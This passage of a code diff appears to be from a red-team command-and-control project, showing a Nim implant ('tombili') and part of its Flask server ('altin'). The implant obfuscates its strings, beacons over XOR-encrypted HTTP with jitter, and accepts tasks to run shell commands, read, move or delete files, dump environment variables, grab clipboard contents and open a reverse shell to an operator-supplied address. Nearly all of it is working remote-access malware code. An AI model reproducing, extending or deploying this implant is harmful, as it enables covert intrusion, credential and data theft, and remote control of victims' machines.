function: shared.setSleep
|
||||
)
|
||||
)
|
||||
|
||||
# whoami
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("whoami"),
|
||||
description: obf("Get the user that Tombili is running as"),
|
||||
args: @[],
|
||||
function: windows.whoami
|
||||
)
|
||||
)
|
||||
|
||||
# msgbox
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("msgbox"),
|
||||
description: obf("Display a message box"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("title"), arg_type: obf("str"), description: obf("The title of the message box"), required: true),
|
||||
CommandArgument(name: obf("body"), arg_type: obf("str"), description: obf("The body of the message box"), required: true)
|
||||
],
|
||||
function: windows.msgBox
|
||||
)
|
||||
)
|
||||
|
||||
# cat
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("cat"),
|
||||
description: obf("Read the contents of a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||
],
|
||||
function: shared.cat
|
||||
)
|
||||
)
|
||||
|
||||
# fileinfo
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("fileinfo"),
|
||||
description: obf("Get information about a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||
],
|
||||
function: shared.fileinfo
|
||||
)
|
||||
)
|
||||
|
||||
# mv
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("mv"),
|
||||
description: obf("Move a file or directory"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
|
||||
CommandArgument(name: obf("directory"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
|
||||
],
|
||||
function: shared.mv
|
||||
)
|
||||
)
|
||||
|
||||
# rm
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("rm"),
|
||||
description: obf("Delete a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
|
||||
],
|
||||
function: shared.rm
|
||||
)
|
||||
)
|
||||
|
||||
# getenv
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("getenv"),
|
||||
description: obf("Get all environemnt variables"),
|
||||
args: @[],
|
||||
function: shared.getEnv
|
||||
)
|
||||
)
|
||||
|
||||
# getclipboard
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("getclipboard"),
|
||||
description: obf("Get the contents of the clipboard"),
|
||||
args: @[],
|
||||
function: windows.getClipboard
|
||||
)
|
||||
)
|
||||
|
||||
# reverseshell
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("reverseshell"),
|
||||
description: obf("Start a reverse shell"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
|
||||
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
|
||||
],
|
||||
function: shared.reverseShell
|
||||
)
|
||||
)
|
||||
|
||||
# pid
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("pid"),
|
||||
description: obf("Get the id of the current process"),
|
||||
args: @[],
|
||||
function: shared.pid
|
||||
)
|
||||
)
|
||||
|
||||
# kill
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("kill"),
|
||||
description: obf("Kill the agent"),
|
||||
args: @[],
|
||||
function: shared.kill
|
||||
)
|
||||
)
|
||||
133
implants/tombili/src/communication.nim
Normal file
133
implants/tombili/src/communication.nim
Normal file
@ -0,0 +1,133 @@
|
||||
import httpClient
|
||||
import json
|
||||
import net
|
||||
|
||||
import config
|
||||
import commands
|
||||
import utils
|
||||
|
||||
const
|
||||
ACTION_CHECKIN*: int = 1
|
||||
ACTION_REGISTER*: int = 2
|
||||
ACTION_TASK_RESULT*: int = 3
|
||||
|
||||
STATUS_ERROR*: int = 0
|
||||
STATUS_CONTINUE*: int = 1
|
||||
STATUS_TASKS*: int = 2
|
||||
STATUS_REGISTER*: int = 3
|
||||
STATUS_INVALID*: int = 4
|
||||
|
||||
let client: HttpClient = newHttpClient()
|
||||
let ip: string = $getPrimaryIPAddr()
|
||||
|
||||
when defined(windows):
|
||||
var os: string = obf("windows")
|
||||
|
||||
when defined(linux):
|
||||
var os: string = obf("linux")
|
||||
|
||||
proc xorData(plain: string, key: string): string =
|
||||
result = newString(plain.len)
|
||||
|
||||
for i in 0 ..< plain.len:
|
||||
let plainByte = ord(plain[i])
|
||||
let keyByte = ord(key[i mod key.len])
|
||||
result[i] = chr(plainByte xor keyByte)
|
||||
|
||||
return result
|
||||
|
||||
proc sendRegistration*(commands: seq[Command]): int =
|
||||
var payload: JsonNode = %*{
|
||||
obf("implant_id"): IMPLANT_ID,
|
||||
obf("ip"): ip,
|
||||
obf("action"): ACTION_REGISTER,
|
||||
obf("registration"): %*{
|
||||
obf( "os"): os,
|
||||
obf("commands"): []
|
||||
}
|
||||
}
|
||||
|
||||
for command in commands:
|
||||
var commandJson: JsonNode = %*{
|
||||
obf("command"): command.command,
|
||||
obf("description"): command.description,
|
||||
obf("args"): command.args
|
||||
}
|
||||
payload[obf("registration")][obf("commands")].add(commandJson)
|
||||
|
||||
var encPayload: string = xorData($payload, XOR_KEY)
|
||||
|
||||
var response: string
|
||||
var responseJson: JsonNode
|
||||
|
||||
try:
|
||||
response = client.postContent(SERVER_BASE_URL, encPayload)
|
||||
responseJson = parseJson(xorData(response, XOR_KEY))
|
||||
except:
|
||||
raise newException(ValueError, obf("Invalid registration response"))
|
||||
|
||||
if responseJson[obf("status")].getInt in @[STATUS_ERROR, STATUS_CONTINUE, STATUS_TASKS, STATUS_REGISTER, STATUS_INVALID]:
|
||||
return responseJson[obf("status")].getInt
|
||||
else:
|
||||
raise newException(ValueError, obf("Invalid respose status code"))
|
||||
|
||||
proc sendTaskResult*(taskId: string, taskResult: string): int =
|
||||
var payload: JsonNode = %*{
|
||||
obf("implant_id"): IMPLANT_ID,
|
||||
obf("ip"): ip,
|
||||
obf("action"): ACTION_TASK_RESULT,
|
||||
obf("result"): {
|
||||
obf("task_id"): task_id,
|
||||
obf("result"): taskResult
|
||||
}
|
||||
}
|
||||
|
||||
var encPayload: string = xorData($payload, XOR_KEY)
|
||||
|
||||
var response: string = client.postContent(SERVER_BASE_URL, encPayload)
|
||||
var responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
|
||||
|
||||
return responseJson[obf("status")].getInt
|
||||
|
||||
proc checkin*(): void =
|
||||
var payload: JsonNode = %*{
|
||||
obf("implant_id"): IMPLANT_ID,
|
||||
obf("ip"): ip,
|
||||
obf("action"): ACTION_CHECKIN
|
||||
}
|
||||
|
||||
var encPayload: string = xorData($payload, XOR_KEY)
|
||||
|
||||
let response: string = client.postContent(SERVER_BASE_URL, encPayload)
|
||||
let responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
|
||||
|
||||
when not defined(release):
|
||||
echo "Recieved checkin status: " & $responseJson[obf("status")].getInt
|
||||
|
||||
case responseJson[obf("status")].getInt
|
||||
of STATUS_CONTINUE:
|
||||
discard
|
||||
of STATUS_INVALID:
|
||||
raise newException(ValueError, obf("Data sent to server was invalid"))
|
||||
of STATUS_REGISTER:
|
||||
try:
|
||||
discard sendRegistration(commands.commands)
|
||||
except:
|
||||
discard
|
||||
of STATUS_TASKS:
|
||||
var tasks: seq[JsonNode] = responseJson[obf("tasks")].getElems
|
||||
|
||||
when not defined(release):
|
||||
echo "Recieved tasks: " & $tasks
|
||||
|
||||
for task in tasks:
|
||||
for command in commands.commands:
|
||||
if command.command == task[obf("task")].getStr:
|
||||
var taskResult: string = command.function(task)
|
||||
var taskResultStatus: int = sendTaskResult(task["task_id"].getStr, taskResult)
|
||||
|
||||
if not defined(release):
|
||||
echo "Sent task results for task " & task["task_id"].getStr & " and got status " & $taskResultStatus
|
||||
|
||||
else:
|
||||
raise newException(ValueError, obf("Invalid respose status code"))
|
||||
10
implants/tombili/src/config.nim
Normal file
10
implants/tombili/src/config.nim
Normal file
@ -0,0 +1,10 @@
|
||||
import utils
|
||||
|
||||
const
|
||||
IMPLANT_ID*: string = obf("tombili")
|
||||
SERVER_BASE_URL*: string = obf("http://127.0.0.1:3000/")
|
||||
REG_FAIL_LIMIT*: int = 10 # 0 for no limit
|
||||
REG_FAIL_RETRY_SLEEP*: int = 10 # seconds
|
||||
CHECKIN_SLEEP*: int = 10 # seconds
|
||||
CHECKIN_SLEEP_JITTER*: int = 5 # seconds
|
||||
XOR_KEY*: string = obf("asdf") # must be a key in the server's key list
|
||||
26
implants/tombili/src/linux.nim
Normal file
26
implants/tombili/src/linux.nim
Normal file
@ -0,0 +1,26 @@
|
||||
import osproc
|
||||
import posix
|
||||
import json
|
||||
|
||||
import utils
|
||||
|
||||
proc shell*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var command: string = args[0].getStr
|
||||
|
||||
try:
|
||||
var commandOutput: string
|
||||
(commandOutput, _) = execCmdEx(command)
|
||||
return commandOutput
|
||||
|
||||
except:
|
||||
return obf("Failed to run the command")
|
||||
|
||||
proc whoami*(task: JsonNode): string =
|
||||
try:
|
||||
var passwd: ptr Passwd = getpwuid(geteuid())
|
||||
return obf("Username: ") & $passwd.pw_name & obf("\nUID: ") & $passwd.pw_uid & obf("\nGID: ") & $passwd.pw_gid & obf("\nHome: ") & $passwd.pw_dir & obf("\nShell: ") & $passwd.pw_shell
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to get user info: ") & e.msg
|
||||
|
||||
55
implants/tombili/src/main.nim
Normal file
55
implants/tombili/src/main.nim
Normal file
@ -0,0 +1,55 @@
|
||||
import config
|
||||
import communication
|
||||
import commands
|
||||
import sleep
|
||||
|
||||
proc main(): void =
|
||||
var registrationFails: int = 0
|
||||
var status: int
|
||||
|
||||
# Registration loop
|
||||
while true:
|
||||
try:
|
||||
status = sendRegistration(commands.commands)
|
||||
except Exception as e:
|
||||
when not defined(release):
|
||||
echo "Registration failed: " & e.msg
|
||||
registrationFails += 1
|
||||
echo "Registration fails: " & $registrationFails
|
||||
|
||||
status = -1
|
||||
|
||||
when not defined(release):
|
||||
echo "Registration sent, status: " & $status
|
||||
|
||||
if status == STATUS_CONTINUE:
|
||||
break
|
||||
else:
|
||||
registrationFails += 1
|
||||
|
||||
when not defined(release):
|
||||
echo "Registration fails: " & $registrationFails
|
||||
|
||||
if registrationFails >= REG_FAIL_LIMIT:
|
||||
when not defined(release):
|
||||
echo "Registration fail limit hit, quitting..."
|
||||
|
||||
quit(0)
|
||||
|
||||
else:
|
||||
doSleep()
|
||||
|
||||
# Checkin loop
|
||||
while true:
|
||||
try:
|
||||
checkin()
|
||||
except Exception as e:
|
||||
when not defined(release):
|
||||
echo "Checkin failed: " & e.msg
|
||||
|
||||
discard
|
||||
|
||||
doSleep()
|
||||
|
||||
if isMainModule:
|
||||
main()
|
||||
63
implants/tombili/src/revShell.nim
Normal file
63
implants/tombili/src/revShell.nim
Normal file
@ -0,0 +1,63 @@
|
||||
import net
|
||||
import osproc
|
||||
import streams
|
||||
|
||||
import utils
|
||||
|
||||
type
|
||||
ShellSendData = tuple
|
||||
shellStdOut: Stream
|
||||
socket: Socket
|
||||
|
||||
ShellRecvData = tuple
|
||||
shellStdIn: Stream
|
||||
socket: Socket
|
||||
|
||||
proc shellSend(args: ShellSendData) {.thread.} =
|
||||
var data: string
|
||||
while true:
|
||||
try:
|
||||
data = args.shellStdOut.readLine()
|
||||
args.socket.send(data & "\n")
|
||||
except:
|
||||
discard
|
||||
|
||||
proc shellRecv(args: ShellRecvData) {.thread.} =
|
||||
var data: string
|
||||
while true:
|
||||
data = args.socket.recvLine()
|
||||
|
||||
if data == "" or data == obf("exit"):
|
||||
args.socket.close()
|
||||
break
|
||||
|
||||
args.shellStdIn.writeLine(data & "\n")
|
||||
args.shellStdIn.flush()
|
||||
|
||||
proc startReverseShell*(ip: string, port: int): void =
|
||||
var socket = newSocket()
|
||||
socket.connect(ip, Port(port))
|
||||
|
||||
var shellProcess: Process
|
||||
|
||||
when defined(linux):
|
||||
shellProcess = startProcess(command=obf("/bin/bash"), args=[obf("-i")], options={poStdErrToStdOut})
|
||||
|
||||
when defined(windows):
|
||||
shellProcess = startProcess(command=obf("powershell"), options={poStdErrToStdOut})
|
||||
|
||||
when defined(freebsd):
|
||||
shellProcess = startProcess(command=obf("/bin/sh"), args=["-i"], options={poStdErrToStdOut})
|
||||
|
||||
var shellStdIn = shellProcess.inputStream
|
||||
var shellStdOut = shellProcess.outputStream
|
||||
|
||||
var sendThread: Thread[ShellSendData]
|
||||
var recvThread: Thread[ShellRecvData]
|
||||
|
||||
createThread(sendThread, shellSend, (shellStdOut, socket))
|
||||
createThread(recvThread, shellRecv, (shellStdIn, socket))
|
||||
sendThread.joinThread()
|
||||
recvThread.joinThread()
|
||||
|
||||
shellProcess.close()
|
||||
145
implants/tombili/src/shared.nim
Normal file
145
implants/tombili/src/shared.nim
Normal file
@ -0,0 +1,145 @@
|
||||
import json
|
||||
import os
|
||||
import times
|
||||
import threadpool
|
||||
|
||||
import sleep
|
||||
import revShell
|
||||
import utils
|
||||
|
||||
const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss")
|
||||
|
||||
proc cat*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var filePath: string = args[0].getStr
|
||||
|
||||
try:
|
||||
if fileExists(filePath):
|
||||
return readFile(filePath)
|
||||
else:
|
||||
return obf("File does not exists")
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to read the file: ") & e.msg
|
||||
|
||||
proc fileInfo*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var filePath: string = args[0].getStr
|
||||
|
||||
try:
|
||||
var info: FileInfo = getFileInfo(filePath)
|
||||
|
||||
var kind: string
|
||||
case info.kind:
|
||||
of PathComponent.pcFile:
|
||||
kind = obf("file")
|
||||
of PathComponent.pcLinkToFile:
|
||||
kind = obf("link to file")
|
||||
of PathComponent.pcDir:
|
||||
kind = obf("directory")
|
||||
of PathComponent.pcLinkToDir:
|
||||
kind = obf("link to directory")
|
||||
|
||||
var lastAccessString: string = format(info.lastAccessTime, DATE_FORMAT, utc())
|
||||
var lastWriteString: string = format(info.lastWriteTime, DATE_FORMAT, utc())
|
||||
var creationString: string = format(info.creationTime, DATE_FORMAT, utc())
|
||||
|
||||
return obf("Kind: ") & $kind & obf("\nSize: ") & $info.size & obf("\nLast Access: ") & lastAccessString & obf("\nLast Write: ") & lastWriteString & obf("\nCreated: ") & creationString & obf("\nPermissions: ") & $info.permissions
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to get file info: ") & e.msg
|
||||
|
||||
proc mv*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var source: string = args[0].getStr
|
||||
var destination: string = args[1].getStr
|
||||
|
||||
try:
|
||||
if dirExists(source):
|
||||
if dirExists(destination):
|
||||
moveDir(source, destination/splitPath(source).tail)
|
||||
else:
|
||||
moveDir(source, destination)
|
||||
|
||||
elif dirExists(destination):
|
||||
moveFile(source, destination/splitPath(source).tail)
|
||||
else:
|
||||
moveFile(source, destination)
|
||||
|
||||
except Exception as e:
|
||||
return obf("") & e.msg
|
||||
|
||||
result = obf("Moved ") & source & obf(" to ") & destination
|
||||
|
||||
proc rm*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var filePath: string = args[0].getStr
|
||||
|
||||
try:
|
||||
if fileExists(filePath):
|
||||
removeFile(filePath)
|
||||
return obf("Deleted the file")
|
||||
else:
|
||||
return obf("File does not exists")
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to read the file: ") & e.msg
|
||||
|
||||
proc getEnv*(task: JsonNode): string =
|
||||
var envVars: string
|
||||
|
||||
try:
|
||||
for key, value in envPairs():
|
||||
envVars = envVars & $key & "=" & $value & "\n"
|
||||
|
||||
return envVars
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to get environment variables: ") & e.msg
|
||||
|
||||
proc getSleep*(task: JsonNode): string =
|
||||
return obf("Sleep time: ") & $sleepTime & obf("\nJitter time: ") & $jitterTime
|
||||
|
||||
proc setSleep*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var setSleepTime: int = args[0].getInt
|
||||
var setJitterTime: int = args[1].getInt
|
||||
|
||||
if setSleepTime < 0 or setJitterTime < 0:
|
||||
return obf("Sleep time and jitter time cannot be negative")
|
||||
|
||||
if setJitterTime > setSleepTime:
|
||||
return obf("Jitter time cannot be greater than sleep time")
|
||||
|
||||
sleepTime = setSleepTime
|
||||
jitterTime = setJitterTime
|
||||
|
||||
return obf("Set sleep time to ") & $sleepTime & obf("s with ") & $jitterTime & obf("s of jitter")
|
||||
|
||||
proc reverseShell*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||
var ip: string = args[0].getStr
|
||||
var port: int = args[1].getInt
|
||||
|
||||
try:
|
||||
spawn startReverseShell(ip, port)
|
||||
except Exception as e:
|
||||
return obf("Failed to start the reverse shell: ") & $e.msg
|
||||
|
||||
return "Reverse shell started"
|
||||
|
||||
proc pid*(task: JsonNode): string =
|
||||
try:
|
||||
var pid: int = getCurrentProcessId()
|
||||
return $pid
|
||||
except Exception as e:
|
||||
return obf("Failed to get the PID: ") & e.msg
|
||||
|
||||
proc sleepThenQuit(): void =
|
||||
sleep(1000)
|
||||
quit(0)
|
||||
|
||||
proc kill*(task: JsonNode): string =
|
||||
spawn sleepThenQuit()
|
||||
|
||||
return obf("Killing the agent...")
|
||||
18
implants/tombili/src/sleep.nim
Normal file
18
implants/tombili/src/sleep.nim
Normal file
@ -0,0 +1,18 @@
|
||||
import os
|
||||
import random
|
||||
|
||||
import config
|
||||
import utils
|
||||
|
||||
var sleepTime*: int = CHECKIN_SLEEP
|
||||
var jitterTime*: int = CHECKIN_SLEEP_JITTER
|
||||
|
||||
randomize()
|
||||
|
||||
proc doSleep*(): void =
|
||||
var time: int = (sleepTime + rand(jitterTime * -1..jitterTime)) * 1000
|
||||
|
||||
when not defined(release):
|
||||
echo obf("Sleeping for ") & $time & obf("ms")
|
||||
|
||||
sleep(time)
|
||||
25
implants/tombili/src/utils.nim
Normal file
25
implants/tombili/src/utils.nim
Normal file
@ -0,0 +1,25 @@
|
||||
import macros, hashes
|
||||
|
||||
# https://github.com/chvancooten/NimPlant/blob/main/client/util/strenc.nim
|
||||
|
||||
type
|
||||
dstring = distinct string
|
||||
|
||||
proc calculate*(s: dstring, key: int): string {.noinline.} =
|
||||
var k = key
|
||||
result = string(s)
|
||||
for i in 0 ..< result.len:
|
||||
for f in [0, 8, 16, 24]:
|
||||
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
|
||||
k = k +% 1
|
||||
|
||||
var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF
|
||||
|
||||
macro obf*(s: untyped): untyped =
|
||||
if len($s) < 1000:
|
||||
var encodedStr = calculate(dstring($s), eCtr)
|
||||
result = quote do:
|
||||
calculate(dstring(`encodedStr`), `eCtr`)
|
||||
eCtr = (eCtr *% 16777619) and 0x7FFFFFFF
|
||||
else:
|
||||
result = s
|
||||
78
implants/tombili/src/windows.nim
Normal file
78
implants/tombili/src/windows.nim
Normal file
@ -0,0 +1,78 @@
|
||||
import osproc
|
||||
import posix
|
||||
import json
|
||||
import winim/lean
|
||||
import winim/inc/lm
|
||||
import winim/utils
|
||||
import threadpool
|
||||
|
||||
import utils
|
||||
|
||||
proc shell*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task["args"].getElems
|
||||
var command: string = args[0].getStr
|
||||
|
||||
try:
|
||||
var commandOutput: string
|
||||
(commandOutput, _) = execCmdEx(obf("powershell ") & command)
|
||||
return commandOutput
|
||||
|
||||
except:
|
||||
return obf("Failed to run the command")
|
||||
|
||||
proc whoami*(task: JsonNode): string =
|
||||
try:
|
||||
var buffer = newWString(UNLEN + 1)
|
||||
var cb = DWORD buffer.len
|
||||
|
||||
GetUserNameW(&buffer, &cb)
|
||||
buffer.setLen(cb - 1)
|
||||
|
||||
return $buffer
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to get the current user: ") & e.msg
|
||||
|
||||
proc spawnMsgbox(body: string, title: string): void =
|
||||
discard MessageBox(0, body, title, 0)
|
||||
|
||||
proc msgBox*(task: JsonNode): string =
|
||||
var args: seq[JsonNode] = task["args"].getElems
|
||||
var title: string = args[0].getStr
|
||||
var body: string = args[1].getStr
|
||||
|
||||
try:
|
||||
spawn spawnMsgbox(body, title)
|
||||
return ""
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to display the message box: ") & e.msg
|
||||
|
||||
proc getClipboard*(task: JsonNode): string =
|
||||
try:
|
||||
if OpenClipboard(0) == 0:
|
||||
return obf("Unable to open the clipboard")
|
||||
|
||||
if IsClipboardFormatAvailable(CF_UNICODETEXT) == 0:
|
||||
CloseClipboard()
|
||||
return ""
|
||||
|
||||
let hClipboardData = GetClipboardData(CF_UNICODETEXT)
|
||||
if hClipboardData == 0:
|
||||
CloseClipboard()
|
||||
return obf("Failed to get the clipboard")
|
||||
|
||||
let pchData = GlobalLock(hClipboardData)
|
||||
if pchData == nil:
|
||||
CloseClipboard()
|
||||
return obf("Failed to get the clipboard")
|
||||
|
||||
let clipboardText = $cast[LPWSTR](pchData)
|
||||
|
||||
discard GlobalUnlock(hClipboardData)
|
||||
CloseClipboard()
|
||||
|
||||
return clipboardText
|
||||
|
||||
except Exception as e:
|
||||
return obf("Failed to get the clipboard: ") & e.msg
|
||||
2
server/.dockerignore
Normal file
2
server/.dockerignore
Normal file
@ -0,0 +1,2 @@
|
||||
.env
|
||||
.env.*
|
||||
18
server/Dockerfile
Normal file
18
server/Dockerfile
Normal file
@ -0,0 +1,18 @@
|
||||
FROM python:3.12-slim
|
||||
|
||||
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
PIP_NO_CACHE_DIR=1 \
|
||||
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY requirements.txt ./
|
||||
RUN pip install --no-cache-dir -r requirements.txt gunicorn==23.0.0
|
||||
|
||||
COPY altin/ ./altin/
|
||||
|
||||
RUN useradd --create-home --uid 10001 altin && chown -R altin:altin /app
|
||||
USER altin
|
||||
|
||||
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:${ALTIN_PORT:-3000} --workers 1 --threads 4 --access-logfile - --error-logfile - altin:app"]
|
||||
22
server/altin/__init__.py
Normal file
22
server/altin/__init__.py
Normal file
@ -0,0 +1,22 @@
|
||||
from flask import Flask, request
|
||||
from flask_cors import CORS
|
||||
|
||||
from .config import load_config, validate_config
|
||||
|
||||
load_config()
|
||||
validate_config()
|
||||
|
||||
from .config import config
|
||||
|
||||
from .database import init_db
|
||||
init_db()
|
||||
|
||||
from .c2_routes import c2_routes
|
||||
from .management_routes import management_routes
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
CORS(app, resources={r'/api/*': {'origins': '*'}})
|
||||
|
||||
app.register_blueprint(c2_routes)
|
||||
app.register_blueprint(management_routes)
|
||||
72
server/altin/agent.py
Normal file
72
server/altin/agent.py
Normal file
@ -0,0 +1,72 @@
|
||||
from .database import Agent, Task, TaskResult, Key
|
||||
import json
|
||||
import uuid
|
||||
from datetime import datetime
|
||||
|
||||
ACTION_CHECKIN = 1
|
||||
ACTION_REGISTER = 2
|
||||
ACTION_TASK_RESULT = 3
|
||||
|
||||
STATUS_ERROR = 0
|
||||
STATUS_CONTINUE = 1
|
||||
STATUS_TASKS = 2
|
||||
STATUS_REGISTER = 3
|
||||
STATUS_INVALID = 4
|
||||
|
||||
def create_agent(implant_id: str, ip: str, os: str, commands: list) -> None:
|
||||
Agent.create(implant_id=str(implant_id), ip=str(ip), os=str(os), commands=str(json.dumps(commands)))
|
||||
|
||||
def is_agent(implant_id: str, ip: str) -> bool:
|
||||
return(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip)).exists())
|
||||
|
||||
def get_agent_id(implant_id: str, ip: str) -> str:
|
||||
return(str(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip))[0].id))
|
||||
|
||||
def get_active_tasks(agent_id: str) -> list[dict]:
|
||||
tasks = []
|
||||
|
||||
for task in Task.select().where((Task.agent == agent_id) & (Task.completed == False)):
|
||||
tasks.append({
|
||||
"task_id": str(task.id),
|
||||
"task": str(task.task),
|
||||
"args": json.loads(task.args)
|
||||
})
|
||||
|
||||
return(tasks)
|
||||
|
||||
def mark_task_sent(task_id: str) -> None:
|
||||
Task.update(sent=True).where(Task.id == uuid.UUID(task_id)).execute()
|
||||
|
||||
def log_task_result(task_id: str, result: str) -> None:
|
||||
TaskResult.create(task=uuid.UUID(task_id), result=str(result))
|
||||
Task.update(completed=True).where(Task.id == uuid.UUID(task_id)).execute()
|
||||
|
||||
def update_last_checkin(agent_id: str) -> None:
|
||||
Agent.update(last_checkin=datetime.now()).where(Agent.id == agent_id).execute()
|
||||
|
||||
def validate_commands(commands: list) -> bool:
|
||||
command_names = []
|
||||
|
||||
for command in commands:
|
||||
if 'command' in command and 'description' in command and 'args' in command:
|
||||
if command['command'] in command_names: # Duplicate command name
|
||||
return(False)
|
||||
|
||||
command_names.append(command['command'])
|
||||
|
||||
arg_names = []
|
||||
for arg in command['args']:
|
||||
if 'name' in arg and 'arg_type' in arg and 'description' in arg and 'required' in arg:
|
||||
|
||||
if arg['name'] in arg_names: # Duplicate argument name
|
||||
return('False')
|
||||
|
||||
arg_names.append(arg['name'])
|
||||
|
||||
else: # Invalid argument keys
|
||||
return(False)
|
||||
|
||||
else: # Invalid command keys
|
||||
return(False)
|
||||
|
||||
return(True)
|
||||
24
server/altin/auth.py
Normal file
24
server/altin/auth.py
Normal file
@ -0,0 +1,24 @@
|
||||
from flask import request, jsonify
|
||||
from functools import wraps
|
||||
import jwt
|
||||
from datetime import datetime
|
||||
|
||||
from .config import config
|
||||
|
||||
def login_required(f):
|
||||
@wraps(f)
|
||||
def login_required_decorator(*args, **kwargs):
|
||||
if 'Authorization' not in request.headers:
|
||||
return(jsonify({'message': 'Authorization header required'}), 401)
|
||||
|
||||
try:
|
||||
decoded_token = jwt.decode(request.headers['Authorization'], config['jwt_secret'], algorithms=["HS256"])
|
||||
|
||||
except jwt.ExpiredSignatureError:
|
||||
return(jsonify({'message': 'Invalid authorization'}), 401)
|
||||
|
||||
except jwt.InvalidTokenError:
|
||||
return(jsonify({'message': 'Invalid authorization'}), 401)
|
||||
|
||||
return f(*args, **kwargs)
|
||||
return(login_required_decorator)
|
||||
111
server/altin/c2_routes.py
Normal file
111
server/altin/c2_routes.py
Normal file
@ -0,0 +1,111 @@
|
||||
from flask import Blueprint, request
|
||||
import json
|
||||
|
||||
from .database import Key
|
||||
from . import agent
|
||||
|
||||
c2_routes = Blueprint('c2_routes', __name__)
|
||||
|
||||
def xor_data(key: str, data: str) -> str:
|
||||
xored = ''
|
||||
|
||||
for i in range(len(data)):
|
||||
xored += chr(ord(data[i]) ^ ord(key[i % len(key)]))
|
||||
|
||||
return(xored)
|
||||
|
||||
@c2_routes.route('/', defaults={'path': ''}, methods=['POST'])
|
||||
@c2_routes.route('/<path:path>', methods=['POST'])
|
||||
def c2_catchall(path: str):
|
||||
encrypted_data = request.data.decode('utf-8')
|
||||
|
||||
found_key = False
|
||||
agent_key = ''
|
||||
data = None
|
||||
|
||||
for key in Key.select():
|
||||
try:
|
||||
decrypted_data = xor_data(key.key, encrypted_data)
|
||||
except:
|
||||
continue
|
||||
|
||||
try:
|
||||
data = json.loads(decrypted_data)
|
||||
except:
|
||||
# Invalid json
|
||||
pass
|
||||
|
||||
found_key = True
|
||||
agent_key = str(key.key)
|
||||
break
|
||||
|
||||
# Return empty response if no key is found
|
||||
if not found_key or not data:
|
||||
return('')
|
||||
|
||||
if 'implant_id' not in data or 'ip' not in data or 'action' not in data:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "requst must conain an `implant_id`, `ip`, and `action` keys"}'))
|
||||
|
||||
# Agent action
|
||||
if data['action'] == agent.ACTION_REGISTER:
|
||||
if 'registration' not in data:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "registration action request must include a `registration` key"}'))
|
||||
|
||||
# Check if this agent is already registered
|
||||
if agent.is_agent(data['implant_id'], data['ip']):
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + ', "message": "already registered"}'))
|
||||
|
||||
# Validate commands
|
||||
if not agent.validate_commands(data['registration']['commands']):
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "invalid commands"}'))
|
||||
|
||||
agent.create_agent(data['implant_id'], data['ip'], data['registration']['os'], data['registration']['commands'])
|
||||
|
||||
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||
agent.update_last_checkin(agent_id)
|
||||
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||
|
||||
elif data['action'] == agent.ACTION_CHECKIN:
|
||||
if not agent.is_agent(data['implant_id'], data['ip']):
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
|
||||
|
||||
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||
